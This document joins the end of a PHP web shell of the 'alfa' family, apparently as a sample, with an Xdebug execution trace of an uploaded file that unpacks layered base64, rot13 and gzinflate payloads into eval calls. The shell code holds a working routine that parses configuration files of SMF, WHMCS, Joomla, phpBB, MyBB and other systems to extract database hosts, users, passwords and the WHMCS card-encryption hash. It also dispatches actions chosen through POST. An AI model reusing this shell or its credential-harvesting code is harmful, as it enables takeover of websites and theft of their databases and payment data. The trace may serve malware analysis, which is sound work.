'host' => array('/dbhost(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'dbname' => array('/dbname(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'dbuser' => array('/dbuname(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'dbpw' => array('/dbpass(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'prefix' => array('/prefix(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3)), 'smf' => array('file' => '/Settings.php', 'host' => array("/db_server(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/db_name(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/db_user(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/db_passwd(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/db_prefix(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'whmcs' => array('file' => '/configuration.php', 'host' => array("/db_host(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/db_name(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/db_username(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/db_password(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'cc_encryption_hash' => array("/cc_encryption_hash(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'joomla' => array('file' => '/configuration.php', 'host' => array("/\\\$host(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/\\\$db(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/\\\$user(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/\\\$password(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/\\\$dbprefix(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'phpbb' => array('file' => '/config.php', 'host' => array("/dbhost(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/dbname(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/dbuser(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/dbpasswd(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/table_prefix(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'mybb' => array('file' => '/inc/config.php', 'host' => array("/config\\['database'\\]\\['hostname'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/config\\['database'\\]\\['database'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/config\\['database'\\]\\['username'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/config\\['database'\\]\\['password'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/config\\['database'\\]\\['table_prefix'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)));
    if ($cms == "drupal") {
        $file = $config[$cms]['file'];
        $file = $path . $file;
        if (@is_file($file) || _alfa_is_dir($file, "-e")) {
        } else {
            $cms = 'drupal2';
        }
    }
    if ($cms == "vb") {
        $file = $config[$cms]['file'];
        $file = $path . $file;
        if (@is_file($file) || _alfa_is_dir($file, "-e")) {
        } else {
            $path .= '/core';
        }
    }
    $data = array();
    $srch_host = $config[$cms]['host'][0];
    $srch_user = $config[$cms]['dbuser'][0];
    $srch_name = $config[$cms]['dbname'][0];
    $srch_pw = $config[$cms]['dbpw'][0];
    $prefix = $config[$cms]['prefix'][0];
    $file = $config[$cms]['file'];
    $chost = $config[$cms]['host'][1];
    $cuser = $config[$cms]['dbuser'][1];
    $cname = $config[$cms]['dbname'][1];
    $cpw = $config[$cms]['dbpw'][1];
    $cprefix = $config[$cms]['prefix'][1];
    if (@is_dir($path) || _alfa_is_dir($path)) {
        $file = $path . $file;
    } elseif (@is_file($path) || _alfa_is_dir($path, "-e")) {
        $file = $path;
    } else {
        return false;
    }
    $file = __read_file($file);
    if ($cms == "drupal2") {
        $file = preg_replace("/\\@code(.*?)\\@endcode/s", "", $file);
    } elseif ($cms == "vb") {
        $file = preg_replace("/right of the(.*?)BAD!/s", "", $file);
    }
    if (preg_match($srch_host, $file, $mach)) {
        $data['host'] = $mach[$chost];
    }
    if (preg_match($srch_user, $file, $mach)) {
        $data['user'] = $mach[$cuser];
    }
    if (preg_match($srch_name, $file, $mach)) {
        $data['dbname'] = $mach[$cname];
    }
    if (preg_match($srch_pw, $file, $mach)) {
        $data['password'] = $mach[$cpw];
    }
    if (isset($prefix)) {
        if (preg_match($prefix, $file, $mach)) {
            $data['prefix'] = $mach[$cprefix];
        }
    }
    if ($cms == 'whmcs') {
        if (preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)) {
            $data['cc_encryption_hash'] = $mach[3];
        }
    }
    echo json_encode($data);
}
if (empty($_POST['a'])) {
    if (isset($default_action) && function_exists('alfa' . $default_action)) {
        $_POST['a'] = $default_action;
    } else {
        $_POST['a'] = 'FilesMan2';
    }
}
//'FilesMan';
if (!empty($_POST['a']) && function_exists('alfa' . $_POST['a'])) {
    call_user_func('alfa' . $_POST['a']);
}
exit;

Execution traces

data/traces/bb8df67d32421c1e0ec5a44811748d78_trace-1676248622.1776.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:37:28.075387]
1	0	1	0.000159	393528
1	3	0	0.010405	2773240	{main}	1		/var/www/html/uploads/garil2.php	0	0
2	4	0	0.010446	2773240	error_reporting	0		/var/www/html/uploads/garil2.php	2	1	0
2	4	1	0.010462	2773280
2	4	R			22527
2	5	0	0.010476	2773240	base64_decode	0		/var/www/html/uploads/garil2.php	3	1	'LUnHEoQ4Dv2aqZm9kVDtidDkcTJctoAmdJr89QMzWNlgG8mW5acnL/Vj/bX2e/K7hmX5eByKhcD+Ny9GOi9/5VBG5df/O3+quoBP6XQ6Qv6nIxowQ8S8nRUMtmOUqo+cPqr8gZhIkjxiGiozrO3ivXH15L7/QJzxGe10qzAplWlhiWme/vKM/xasx5m4zSsFfbrkRoVNymKrzhbKlNpXlbxXJDwBqljdaP1wrwOYjUi31f37akj7wTwq6OfytIQx1kKAoRuj6ckSh/HzUER9UgoR+TrtsLBHtlGMGPRs68zUtNR7bE4a6Ls6ufOG1z9kM7WUhRVFN49Np7E5Bz1zjsQ2PB8JtRmJojav9ZlY85/Jva94YeQe1amJZwiQEXi4FW9ouFiaRsQeHftEWDoriParVvqo9/qYPYexEe3HJaYewaI27YjfbEnqCVeq84KN6fL3FyUwHLkdOYVKOnNl/6zFVtPXPrzGYCX8dXWEHnx23MMNrmK1Kb73qSqFLbqp'
2	5	1	0.010510	2776344
2	5	R			'-I�\022�8\016������P���q2\\��&t���\0033X�`\033ɖ�\'/�c���{�e�x\034����7/F:/�PF��;���O�t:B��#\0320Cļ�\025\f�c����>����H�<b\032*3���q��@��\031�t�0)�ia�i���\026�Ǚ��+\005}��F�M�b��\026ʔ�W��W$<\001�X�h�p�\003��H���jH��<*���1�B��\033���\022���PD}R\n\021�:�G�Q�\030�l��Դ�{lN\032�:���?d3���\025E7�M��9\a=s��6<\037\t�\031��6���X�ɽ�xa�\036թ�g\b�\021x�\025oh�X�F�\036\035�DX:+���V�����=��\021��%�\036��6��lI�\tW����\027%0\034�\0359�J:se���V��>��`%�uu�\036|v��\r�b�)���*�-���m19�nWS\'f�0\r��P��'
2	6	0	0.010590	2776312	str_rot13	0		/var/www/html/uploads/garil2.php	3	1	'-I�\022�8\016������P���q2\\��&t���\0033X�`\033ɖ�\'/�c���{�e�x\034����7/F:/�PF��;���O�t:B��#\0320Cļ�\025\f�c����>����H�<b\032*3���q��@��\031�t�0)�ia�i���\026�Ǚ��+\005}��F�M�b��\026ʔ�W��W$<\001�X�h�p�\003��H���jH��<*���1�B��\033���\022���PD}R\n\021�:�G�Q�\030�l��Դ�{lN\032�:���?d3���\025E7�M��9\a=s��6<\037\t�\031��6���X�ɽ�xa�\036թ�g\b�\021x�\025oh�X�F�\036\035�DX:+���V�����=��\021��%�\036��6��lI�\tW����\027%0\034�\0359�J:se���V��>��`%�uu�\036|v��\r�b�)���*�-���m19�nWS\'f�0\r��P��'
2	6	1	0.010665	2778904
2	6	R			'-V�\022�8\016������C���d2\\��&g���\0033K�`\033ɖ�\'/�p���{�r�k\034����7/S:/�CS��;���B�g:O��#\0320Pļ�\025\f�p����>����U�<o\032*3���d��@��\031�g�0)�vn�v���\026�Ǚ��+\005}��S�Z�o��\026ʔ�J��J$<\001�K�u�c�\003��U���wU��<*���1�O��\033���\022���CQ}E\n\021�:�T�D�\030�y��Դ�{yA\032�:���?q3���\025R7�Z��9\a=f��6<\037\t�\031��6���K�ɽ�kn�\036թ�t\b�\021k�\025bu�K�S�\036\035�QK:+���I�����=��\021��%�\036��6��yV�\tJ����\027%0\034�\0359�W:fr���I��>��`%�hh�\036|i��\r�o�)���*�-���z19�aJF\'s�0\r��C��'
2	7	0	0.010741	2775800	gzinflate	0		/var/www/html/uploads/garil2.php	3	1	'-V�\022�8\016������C���d2\\��&g���\0033K�`\033ɖ�\'/�p���{�r�k\034����7/S:/�CS��;���B�g:O��#\0320Pļ�\025\f�p����>����U�<o\032*3���d��@��\031�g�0)�vn�v���\026�Ǚ��+\005}��S�Z�o��\026ʔ�J��J$<\001�K�u�c�\003��U���wU��<*���1�O��\033���\022���CQ}E\n\021�:�T�D�\030�y��Դ�{yA\032�:���?q3���\025R7�Z��9\a=f��6<\037\t�\031��6���K�ɽ�kn�\036թ�t\b�\021k�\025bu�K�S�\036\035�QK:+���I�����=��\021��%�\036��6��yV�\tJ����\027%0\034�\0359�W:fr���I��>��`%�hh�\036|i��\r�o�)���*�-���z19�aJF\'s�0\r��C��'
2	7	1	0.010832	2778904
2	7	R			'riny(tmvasyngr(onfr64_qrpbqr(enjheyqrpbqr(\'KMF30bEpxxDsM2LQN32OzStQnRFwgKV2xV3J%2Ohaa%2O90gc4klZvgBMazz%2So%2OmqPfO8K9SzH9S%2Or%2Ssr4m5AZkehJ3%2S7%2SFiHezPicr8OHkhKHUhG6UF0igMTTVwviW1BZKTkMVzsyhvwA%2S3EyULaANtEW43uALMarZXZ%2SJKVJHX2IyxRXfPKBg2NZQmekSq8privgy0LQmliazejDMEZjpk8P4fHlqoLlLBeC0%2Oo6un%2OH3RAH88uUkVAyLV%2SUdTOu7vYibO2l2QI2PnzJ6tSCyHqb2RoSR%2OalPWYvyjamYmUmZBxnojGRz%2OMY1GLpv2VlUPbUFJbMDFR4MIdsYa11YTl7pXybocIm%2SCHpdRwUjNBH5wj929nVHovXu1izKjfdzxKJfRGTbT3%2SawGnpaoScTLXbXqmU3TstQy9YjQtEYJKAM9QGXTS'
2	8	0	0.010863	2776312	str_rot13	0		/var/www/html/uploads/garil2.php	3	1	'riny(tmvasyngr(onfr64_qrpbqr(enjheyqrpbqr(\'KMF30bEpxxDsM2LQN32OzStQnRFwgKV2xV3J%2Ohaa%2O90gc4klZvgBMazz%2So%2OmqPfO8K9SzH9S%2Or%2Ssr4m5AZkehJ3%2S7%2SFiHezPicr8OHkhKHUhG6UF0igMTTVwviW1BZKTkMVzsyhvwA%2S3EyULaANtEW43uALMarZXZ%2SJKVJHX2IyxRXfPKBg2NZQmekSq8privgy0LQmliazejDMEZjpk8P4fHlqoLlLBeC0%2Oo6un%2OH3RAH88uUkVAyLV%2SUdTOu7vYibO2l2QI2PnzJ6tSCyHqb2RoSR%2OalPWYvyjamYmUmZBxnojGRz%2OMY1GLpv2VlUPbUFJbMDFR4MIdsYa11YTl7pXybocIm%2SCHpdRwUjNBH5wj929nVHovXu1izKjfdzxKJfRGTbT3%2SawGnpaoScTLXbXqmU3TstQy9YjQtEYJKAM9QGXTS'
2	8	1	0.010892	2779416
2	8	R			'eval(gzinflate(base64_decode(rawurldecode(\'XZS30oRckkQfZ2YDA32BmFgDaESjtXI2kI3W%2Bunn%2B90tp4xyMitOZnmm%2Fb%2BzdCsB8X9FmU9F%2Be%2Ffe4z5NMxruW3%2F7%2FSvUrmCvpe8BUxuXUHuT6HS0vtZGGIjivJ1OMXGxZImfluijN%2F3RlHYnNAgRJ43hNYZneMKM%2FWXIWUK2VlkEKsCXOt2AMDzrxFd8cevitl0YDzyvnmrwQZRMwcx8C4sUydbYyYOrP0%2Bb6ha%2BU3ENU88hHxINlYI%2FHqGBh7iLvoB2y2DV2CamW6gFPlUdo2EbFE%2BnyCJLilwnzLzHzMOkabwTEm%2BZL1TYci2IyHCoHSWoZQSE4ZVqfLn11LGy7cKlobpVz%2FPUcqEjHwAOU5jw929aIUbiKh1vmXwsqmkXWsETGoG3%2FnjTacnbFpGYKoKdzH3GfgDl9LwDgRLWXNZ9DTKGF'
2	9	0	0.010952	2780560	eval	1	'eval(gzinflate(base64_decode(rawurldecode(\'XZS30oRckkQfZ2YDA32BmFgDaESjtXI2kI3W%2Bunn%2B90tp4xyMitOZnmm%2Fb%2BzdCsB8X9FmU9F%2Be%2Ffe4z5NMxruW3%2F7%2FSvUrmCvpe8BUxuXUHuT6HS0vtZGGIjivJ1OMXGxZImfluijN%2F3RlHYnNAgRJ43hNYZneMKM%2FWXIWUK2VlkEKsCXOt2AMDzrxFd8cevitl0YDzyvnmrwQZRMwcx8C4sUydbYyYOrP0%2Bb6ha%2BU3ENU88hHxINlYI%2FHqGBh7iLvoB2y2DV2CamW6gFPlUdo2EbFE%2BnyCJLilwnzLzHzMOkabwTEm%2BZL1TYci2IyHCoHSWoZQSE4ZVqfLn11LGy7cKlobpVz%2FPUcqEjHwAOU5jw929aIUbiKh1vmXwsqmkXWsETGoG3%2FnjTacnbFpGYKoKdzH3GfgDl9LwDgRLWXNZ9DTKGFeYsQpSF4pm0vl2i91Vg%2FhNpremjvgWwrVVj8QfNlqr73r6jmJpZ5emFD%2FU%2FAj7whNC7cWZ8ODigUwo0ntQ3%2BvYLiuEmCsFpjCFKQ0TL3wy9VTWhKqL6qDhpmdTCXkc7juaBPc1XR3HEESTwNV%2BrMWIZtbTI%2Bs9xPUt5mKyzEkh8yUR74APJ8H8yAzpgKygG%2Fbv5zVoxe%2FwBpdUqxEdbikppCnBmeb0wAPsXcjMhuWsGqOMFV%2BWi26Be7f5HF6qksihgYKmsNaGckgAnXkatQIXsBZz%2BNY4Pgrjhmw8xkd%2Bbi4IYewK03BZ%2BzDajeOWIq%2F47D3xiSvJxtmk7DGaqTUsiluuHcVlo634RTFdBgD6%2BA77ox4%2FsBhxNbUDER%2FwuzQiU6II7Hm4G8vhNrOsyM0JmpAMWXtALDV%2FRLVTKDa2HQ6AIVEPp6rCuTrbk8Jfd76I%2FipRISel5%2FNS89JnGOKWgmvaaB5BeNiAlsEVyYHHoBxxyofxK9yMoeVLR8uqNZtB3wk6fMOehIJZGh%2BmKAvI2nrX%2FXiDn0LyYryIAVz%2FwrcNIJ0MYSTagQJuDnJUFoDHmJqtmI4MsbQYOcGNP%2Bb9zlEMuVhHYkj7MMFNVd6CzNwqr9znmBDYGJYim8BJaaQPup6Sw%2BG51qG2L45zpG8UxfIQ0biyJ%2BUTS%2FjPILpFgY6oUIDf%2FQn8PopS69s4lC%2BPkXaRH5ILJ2UWt544U9a8cHyf8kIyP%2BlGdemVc9ht3uURirFg1q3uPTTvpGnDwLjyHQXgiojVTbinvab0DND64kGLZctRzx3xWJkqLIjl0V6wrvJtC%2BEjzpnM6i7p91zkEd8rNrkCMFbvoIrYrnV6eLTJXP7YdTiNB0Pe8A5DuruGAZJ7Bd8BycvwWgUhbNZG7PcP2ZXNz4oeFcSep9gt44CD8cSpK2d19tGuDJ6zzK0wlZL3eRrPUI16URFTm%2Bgd%2B1DYuKIoP%2BuzEd37IcNn602MHiX6waF1kcfErKBIyQ9BmbwrZuduJ9g5cbvD22ZhwH1AwBdz94Iz9OSY49nOeuMQUlnVmnX8zfDgijU06tVCgO7HjU6U09iPzmoKkTQ3UFQXGQnYDMdW4xqChh6CYr3X29lomymnA%2BlR67HcYkcOe0xeFYtGK339Qf740hmpaL9WKI%2BU2tSIiG7bnvtEh8mZfD3TDZdya5Y2dAM8GCc5u%2BNPjame1jwFRgCSKDjeJmubYsPZ57a%2BDM8O%2BwmJ7uucprwn6%2FyoYk6sDmVoD7y2UsYpzDlT02%2BBWMPmtUA%2FuFLvj5xwkuKNCLwtiN6tTVzWdJSJFLoYFqJgUieJdFq7RRH2znApvfY9EnamGLrb5gg%2Fmoa8b6UwDBIbEQQy6JhgixXlxjphfE0xnB%2FU%2BuFLy21LrUtCM25FHAI5f8Ug2hdW8ipUqq9voAxpL0DkIEgPjmpXhCA%2BpJ0Nh52lbHE3lNDo9IWZDC6klQGFhaLxLD5vDwERacYueTlYlJvgFW9aCPvwORYL9EunL38dI8Dslh1IuIcTJEZ%2F1iD88w%2BnrWkjnA07Uegqj4ttKvbVpVW%2FRuoTOjlUMFHvxr20kpNejUHTknRPWEr1TbANPSm3qQWUBC7Ij9IjO3VjIkE1wlWkxW7vjPGm9QG9s5YI9WBSz%2Bwx9VWVDvOuDVH3z%2FUepoQcl26OmCaYg2EelDbaq9SekuxAgYYs8l%2FAO2jFTenwz6WiaNA7sCS3MaM%2B87gNn3cyFvi06ic6K3gvPUZ4nT5gdVGJQhFvrPb7%2FmUn0hm8cn7BLrgdH63cWbxOWbm5OeJ3%2BVHauFWKqrCyevx1lOGCDd6%2B2W9iNmOeDcpoSPll49qjgXOdsso6ZDA7tN%2F5u9NkrNl3rVrW1aQz%2FIuVB2ODILY3iM1fuEkuI17L5G%2BPb%2FT74ePvdnqGlb0kruF3nfxd9EaCgz1LQwRG7EXrFvfE7z0YM4WV%2F9X5aavUgJbi%2BKThX19%2Bh0Sk6I8muD55liosUI%2FV2v1p7SRTD9gcv2Ka1CcI5eCmrYZMvQLotaGt40jLzfrhb22jYoXWplBDM8f%2Fx4xA6%2BVAbW01C57P%2F8FW80Y5NNtlXzJ%2FwBEQTeev4%2FLTW7DASrMiI059E3RLxeRuxo4KhyAIhtniB3lT%2FL%2F%2F%2Bp%2B%2F%2Bc9%2FAQ%3D%3D\'))));'	/var/www/html/uploads/garil2.php	3	0
3	10	0	0.011020	2780560	rawurldecode	0		/var/www/html/uploads/garil2.php(3) : eval()'d code	1	1	'XZS30oRckkQfZ2YDA32BmFgDaESjtXI2kI3W%2Bunn%2B90tp4xyMitOZnmm%2Fb%2BzdCsB8X9FmU9F%2Be%2Ffe4z5NMxruW3%2F7%2FSvUrmCvpe8BUxuXUHuT6HS0vtZGGIjivJ1OMXGxZImfluijN%2F3RlHYnNAgRJ43hNYZneMKM%2FWXIWUK2VlkEKsCXOt2AMDzrxFd8cevitl0YDzyvnmrwQZRMwcx8C4sUydbYyYOrP0%2Bb6ha%2BU3ENU88hHxINlYI%2FHqGBh7iLvoB2y2DV2CamW6gFPlUdo2EbFE%2BnyCJLilwnzLzHzMOkabwTEm%2BZL1TYci2IyHCoHSWoZQSE4ZVqfLn11LGy7cKlobpVz%2FPUcqEjHwAOU5jw929aIUbiKh1vmXwsqmkXWsETGoG3%2FnjTacnbFpGYKoKdzH3GfgDl9LwDgRLWXNZ9DTKGFeYsQpSF4pm0vl2i91Vg%2FhNpremjvgWwrVVj8QfNlqr'
3	10	1	0.011055	2783664
3	10	R			'XZS30oRckkQfZ2YDA32BmFgDaESjtXI2kI3W+unn+90tp4xyMitOZnmm/b+zdCsB8X9FmU9F+e/fe4z5NMxruW3/7/SvUrmCvpe8BUxuXUHuT6HS0vtZGGIjivJ1OMXGxZImfluijN/3RlHYnNAgRJ43hNYZneMKM/WXIWUK2VlkEKsCXOt2AMDzrxFd8cevitl0YDzyvnmrwQZRMwcx8C4sUydbYyYOrP0+b6ha+U3ENU88hHxINlYI/HqGBh7iLvoB2y2DV2CamW6gFPlUdo2EbFE+nyCJLilwnzLzHzMOkabwTEm+ZL1TYci2IyHCoHSWoZQSE4ZVqfLn11LGy7cKlobpVz/PUcqEjHwAOU5jw929aIUbiKh1vmXwsqmkXWsETGoG3/njTacnbFpGYKoKdzH3GfgDl9LwDgRLWXNZ9DTKGFeYsQpSF4pm0vl2i91Vg/hNpremjvgWwrVVj8QfNlqr73r6jmJpZ5emFD/U/Aj7whNC7cWZ8ODigUwo'
3	11	0	0.011083	2783632	base64_decode	0		/var/www/html/uploads/garil2.php(3) : eval()'d code	1	1	'XZS30oRckkQfZ2YDA32BmFgDaESjtXI2kI3W+unn+90tp4xyMitOZnmm/b+zdCsB8X9FmU9F+e/fe4z5NMxruW3/7/SvUrmCvpe8BUxuXUHuT6HS0vtZGGIjivJ1OMXGxZImfluijN/3RlHYnNAgRJ43hNYZneMKM/WXIWUK2VlkEKsCXOt2AMDzrxFd8cevitl0YDzyvnmrwQZRMwcx8C4sUydbYyYOrP0+b6ha+U3ENU88hHxINlYI/HqGBh7iLvoB2y2DV2CamW6gFPlUdo2EbFE+nyCJLilwnzLzHzMOkabwTEm+ZL1TYci2IyHCoHSWoZQSE4ZVqfLn11LGy7cKlobpVz/PUcqEjHwAOU5jw929aIUbiKh1vmXwsqmkXWsETGoG3/njTacnbFpGYKoKdzH3GfgDl9LwDgRLWXNZ9DTKGFeYsQpSF4pm0vl2i91Vg/hNpremjvgWwrVVj8QfNlqr73r6jmJpZ5emFD/U/Aj7whNC7cWZ8ODigUwo'
3	11	1	0.011114	2786736
3	11	R			']��҄\\�D\037gf\003\003}��X\003hD��r6������-��r2+Nfy����t+\001�E�OE���{��4�k�m���R�����\005Ln]A�O���Y\030b#��u8��Œ&~[���FQ؜� D�7��\031��\n3��!e\n�Yd\020�\002\\�v\000��\021]�ǯ��t`<�y��\006Q3\a1�.,S\'[c&\016��>o�Z�M�5O<�|H6V\b�z�\006\036�.�\001�-�W`��n�\024�Tv��lQ>� �.)p�2�\0373\016���LI�d�Saȶ#! t���\022\023�U����R�˷\n���W?�Qʄ�|\0009Nc�ݽh�\033��u�e𲩤]k\004Lj\006��M�\'lZF`�\nw1�\031�\003���\016\004KYsY�4�\030W��\nR\027�f�v��U��M�����\026µU��\0376Z��z��big��\024?�\b��\023B�ř���L(�{P���.+'
3	12	0	0.011195	2783632	gzinflate	0		/var/www/html/uploads/garil2.php(3) : eval()'d code	1	1	']��҄\\�D\037gf\003\003}��X\003hD��r6������-��r2+Nfy����t+\001�E�OE���{��4�k�m���R�����\005Ln]A�O���Y\030b#��u8��Œ&~[���FQ؜� D�7��\031��\n3��!e\n�Yd\020�\002\\�v\000��\021]�ǯ��t`<�y��\006Q3\a1�.,S\'[c&\016��>o�Z�M�5O<�|H6V\b�z�\006\036�.�\001�-�W`��n�\024�Tv��lQ>� �.)p�2�\0373\016���LI�d�Saȶ#! t���\022\023�U����R�˷\n���W?�Qʄ�|\0009Nc�ݽh�\033��u�e𲩤]k\004Lj\006��M�\'lZF`�\nw1�\031�\003���\016\004KYsY�4�\030W��\nR\027�f�v��U��M�����\026µU��\0376Z��z��big��\024?�\b��\023B�ř���L(�{P���.+'
3	12	1	0.011281	2786224
3	12	R			'eval(base64_decode(gzuncompress(base64_decode(\'eJwVllGTq6oShf+SgJ7aeTgP20Q0JJIRBJQ3Fe84gsZJnIzx11/Oo1VW0yzW+rp1pYf2OMz95H70tA0mFfd6wrsu66CCzNXwYDUfdpOR/3XTIcjL/N4h9u4mCS/H7vAh2O36Ptxvx+frCsF3LTFuEcmZsAEVUhp+mC+Bw8y6sxH6zE9ip8i+a0DfQh0WAdeyDVZXwGVSyebUyOYW0idTOGHwHMkK/+QQXEX2+apH+a7FZ9AK7egUhGbCHxK6qi9lrUcc17O+Ncm6c382mxkz1f3N0FLkUPNCHOJakjNV9aOVIpDTovTEsLb42KK/kYBDmCu3GaWxVEPJrcHFTL7Nnr/9Pd5MEdioMCjsYSrL+CsH8sihXCj+3LrMXFg2nPrUSTMt12akQeOGYy7pyEtqC4EhTYbEy3Fu0o10lT+llM2tHJ4FcJd2J9dOGmoCEDbKvJrZ7hdfu8/ilAaG'
3	13	0	0.011324	2786872	eval	1	'eval(base64_decode(gzuncompress(base64_decode(\'eJwVllGTq6oShf+SgJ7aeTgP20Q0JJIRBJQ3Fe84gsZJnIzx11/Oo1VW0yzW+rp1pYf2OMz95H70tA0mFfd6wrsu66CCzNXwYDUfdpOR/3XTIcjL/N4h9u4mCS/H7vAh2O36Ptxvx+frCsF3LTFuEcmZsAEVUhp+mC+Bw8y6sxH6zE9ip8i+a0DfQh0WAdeyDVZXwGVSyebUyOYW0idTOGHwHMkK/+QQXEX2+apH+a7FZ9AK7egUhGbCHxK6qi9lrUcc17O+Ncm6c382mxkz1f3N0FLkUPNCHOJakjNV9aOVIpDTovTEsLb42KK/kYBDmCu3GaWxVEPJrcHFTL7Nnr/9Pd5MEdioMCjsYSrL+CsH8sihXCj+3LrMXFg2nPrUSTMt12akQeOGYy7pyEtqC4EhTYbEy3Fu0o10lT+llM2tHJ4FcJd2J9dOGmoCEDbKvJrZ7hdfu8/ilAaG0yRBInO4BIOSM3200LG6wjDPqNXpATMXPzuFrzdpdoPOoJ5cqZFxVCWoEODH95R6bd8iAC+Bh6jFImzVwGhKX8Wsa5Eaa4BOOoy/m/Tw0pAWepKNnH2dIABXxEBzspvmz7fG5mi+VidPri7R56+vcaXjEBVAP9uUPnnyJ9SWAYnYucvsS6W/2wWaWqrlWXtNuxGXTdDtl4DYfGQ3AZel289hL2XYjBjnFqs8PYz12MH66+DURAg7yUVP9FrOLu0Fy6gwL4bJXX6tcWtNquSipHJHiv6iW5WAQm0PKcyFKkJ7AYQRB66mZKuRffWpfvjv73zSpw4lwe1Ec5GyDz7pqlb20SeESOQ1cX+3Wi6j93JGR/nVen37U/3wWsNmjCeRLbfrbp6lkEM/x/TG16pGny9ded+PslSSDTmUa+HqNz0N6SUw3ss60kH+251k6d/iu5nJq63Y2Kbr2M0mYGqNc4Bng9zIpXY+S2k520jy9Vx7fTq0pBrHrBDuo0/Nmqdbo6v7L5U6kl7HWmywrmhQwBBRGIXXYHmX83JtZeyYG3gN4kqJ+uXdJ6UkdedIyJJhMsnmezC25QdcuGS/ZebYjTFp7PpqBClaCEZpyas7kawcB2xOxeuWFYEOhjMTy8CRaai9/3JInE6SF0Pko3TLzOGym+rz3Vj2bquhpk4yPbKEq0PT8TVrrHxQEWyFpbHAMS5UlBXT4IwYOBd69PlR1JFjrhauT8O9wUnkk383VmciCR95StL265BzEUR6Zz9CLf+0AbjXAIsa5rAcvf8nJ0QpoYSeYVB/3ZRhfRrRtnQfNCBPOsdOJeCUC83b1L7z1F2KiXznlWEsBddeDrys4kzD5WyslO28nG8y3+rqHnZOf+XJcuEJoTwYApkt4ApZSkuTspEm3U64/w9xlERml5nc3btATnmW7bfjOhYIb3VwYL1XlKdE+xySXv1BLADMALJ4Zix6JKS0n4/OWnjLBi48+y47ATzTtAXsp7Rk6auhMYHj2uc/T9cfdqL8JlhD0TmUM9GdjIPWHn7Kih0F1sstcU4k2HbHwyox/eHjOeQ+x63VnoHbxYDh2KTLiyd24654dBCQ5hQ7AWpUBsleWvk2gEZMUMBLJzvARg7dpZPk198T6zQJeYa/BRoilsVFh/Owq+g/fKxDHZBGJTn0/sq0MkriYeh8XbF71qNP0J2GkGF8ahSddWlRmwJlLIuZAp798kspX3uii5xxJdNN52n00+N8Y4Adr1BnhZ9ULJNRg+jUWz8Hjj7rqZ89Sf4uE5pIFVXtqAGTf1GhwIVJmalE+5mEGy31LwX00U+LviB2veHPBx+Z81oI/9b/dGr96dP11YpFyzl+6F0inkZzB/FHiVzFx8EWlWyuqP6lqkMqXX6E/Asbu0WtWo+FXF71+3DuT8OjOQ0BQ/RXWSJyS2sK2IMGrMwn7DWRc+d9XlSYlGr5oMfnVij58l4PJfIZ2s1v7SihE156S6cueT5kKs9XEKNWrF8FktkNnx8Mm1xbj4WMVoKvbyOMrKGuOxhNFMUvrxmoZ5nqkpX9iVpVmpmJjXtfaQoZbu16L0qH25Qk+r3OGuUvqf786lR/GHjY9KypnsmDzoNq/vPhyXvf/teT9EzRlVAMFJXWF3iPjIzPOsXM93fRgVtESkCXrBvdzRefScOn3xeDJjYjJdfdPbhngk7NS6s/sIbgo9sNppN7Ni5HzAYhT86RwvHKAR5VpR8UkUtRibAOlkjKehfoM9Cz2eu9Q6VYQs+Acz/iZwNYreZiZwnzXgg3ngxRl9AHTZYh/zroUtFTn4B/TPL0E9FlFPxFtZUlT/2OErCghcvQK7m1eFnyaWU6kImZF78DLESU5veK/E7yPjQlvPt59hm2pYzFaZhv6WHVx8Pi5aTd6MhNLrnn8HirDCxLs7YJ8LoWL1bRUAR5VE8Mem7sjfpETUCHPBhCNemiswQwHCu/X6FORBd6cvTq2VPabdb4vMsEMPK2Hkp2uf3+++//Adg+ToY=\'))));'	/var/www/html/uploads/garil2.php(3) : eval()'d code	1	0
